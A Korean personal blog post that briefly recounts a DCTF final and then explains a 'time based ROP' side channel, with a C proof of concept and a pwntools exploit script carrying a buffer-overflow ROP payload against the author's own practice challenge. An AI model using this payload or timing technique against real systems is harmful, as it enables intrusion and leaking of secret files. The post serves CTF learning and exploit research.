DCTF Final

컨퍼런스의 일부에 CTF가 있는 구조였다. 문제 얘기와 자세한 내용은 글 하나 더 쓸거다. 12시간 동안은 1등을 달렸다. 근데 힘들어서, 그리고 오랜 시간이 필요했던 문제들, 체력적인 요인으로 계속 밀리다가 끝내 8위를 했다. 그래도 재미있었다.

인천으로 !

항상 한국으로 돌아올때는 여행에 대한 추억 그리고 조금 더 적극적이지 못했던 아쉬움을 안고 온다. 보름이 지난 지금까지도 생생하게 머릿속에 있으니, 보람찼던 글인것 같다.

p.s. Nov 19th에 시작하고, 지금에서나 완성한다. 그만큼 게으른가 보다. 후, 인생 파이팅.

Time Based ROP

pwnable.tw에 kidding이라는 문제가 있다. stdin, stdout, stderror fd를 닫아버리기 때문에 리버스 쉘을 통하여 연결하면된다.
하지만 서버측에 있는 바이너리 데몬이 외부 네트워크에 접근할 수 없는 상황이면 어떻게 할것인가?
위와 같은 상황은 CTF보다 리얼월드에서 많이 발생한다. (클라우드 인스턴스 여러개 만들어가지고 내부적으로 물리고 ..)
까먹고 있다가 목욕을 하다가 문득 생각이 났다.
ROP를 통해 파일의 내용을 읽을때 SQLI 기술중 하나인 time based sql injection을 적용시켜보았다.

글쓰는것을 미루고 미루다 Exploiting Timed Based RCE – Security Café 를 읽고 쓰게되었다.

ROP 테크닉은 무척 간단하다.

  1. pop rdi, pop rsi, pop idx, retn 으로 레지스터를 초기화 시킨다.
  2. strncmp를 호출한다.
  3. rax를 rdi로 복사한다.
  4. sleep을 호출한다.

위 로직을 증명하기 위해 다음 코드가 사용되었다.

PoC 1

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv) {
    char dest[] = "MyNameIsJunoIm";
    char oneByteChar = 'L';
    int result;
    int t1, t2;

    printf("dest string -> %s\n", dest);
    printf("give me one byte: ");
    scanf("%c", &oneByteChar);

    result = strncmp(dest, &oneByteChar, 1);

    printf("result - > %d\n", result);

    t1 = time(0);
    sleep(result);
    t2 = time(0);

    printf("running time - > %d\n", t2-t1);

    return 0;
}

정상적으로 작동하나 싶었는데.. 문제로 만들었더니 몇가지 오류가 생겼다..

우선 fd를 닫고 sleep하는것은 로컬에서만 되었다. 이럴꺼면 system("ls -al > /tmp/ls_result.txt")하고말지..

바이너리 데몬으로 실행하면,,

EOF 에러남 …

이렇기에 sleep여부를 판별하기 위한 race condition을 추가할 수 밖에 없었다. 그래서 문제에 의도적인 부분을 추가하기로 했다.

Full SourceCode, Binary 는 example, example.c 를 보시면 됩니다.

PoC 2

from pwn import *
import string
import random
import time

my_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))
my_id += 'f'

print my_id
a1 = time.time()

r = remote("junan.io", 6974)
r2 = remote("junan.io", 6974)
r3 = remote("junan.io", 6974)

r.recvuntil('Input ID: ')
r.sendline(my_id)
r.recvuntil('Input key: ')
r.sendline("65b42f7d71f9fb31d824c28b8943ad94")
r.recvuntil("Welcome: ")

strncmp = 0x00000000004008C8
p_rdi = 0x0000000000400AAE
sleep = 0x0000000000400958
flag = 0x00000000006020A0

go_sleep = 0x0000000000400E00

payload = "A"*272
payload += p64(0x000000000060229D) # rbp

payload += p64(p_rdi) # for sleep
payload += p64(0x1)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)

payload += p64(sleep)

payload += p64(p_rdi)
payload += p64(flag)
payload += p64(0x0000000000602060+15) # time based rop
# 0x0000000000602060+15
payload += p64(0x1)
payload += p64(0x1)
payload += p64(0x1)
payload += p64(0x1)

payload += p64(strncmp)

payload += p64(go_sleep)

print len(payload)

r.sendline(payload)
time.sleep(0.1)

r2.sendline(my_id)

r3.recvuntil('Input ID: ')
time.sleep(1)
r3.sendline(my_id)
try:
data = r3.recv()
print data
if data.find("race") != -1:
raise Exception
r3.sendline("AAAA")
data = r3.recv()
print data
if data.find("race") != -1:
raise Exception
print ("Found !")
except:
print ("No")

r.recv()

print time.time() - a1

첫글자인 f 를 찾은 모습이다.

Example Challenge

nc junan.io 6974

성공적으로 flag를 얻어내셨다면 junorouse@gmail.com 으로 exploit 코드를 보내주세요.


업데이트

2018-06-03 글을 옮기다 time based side channel attack rop 문제가 여럿 보였던 기억이 었어서 기분이 좋네요 ㅎㅅㅎ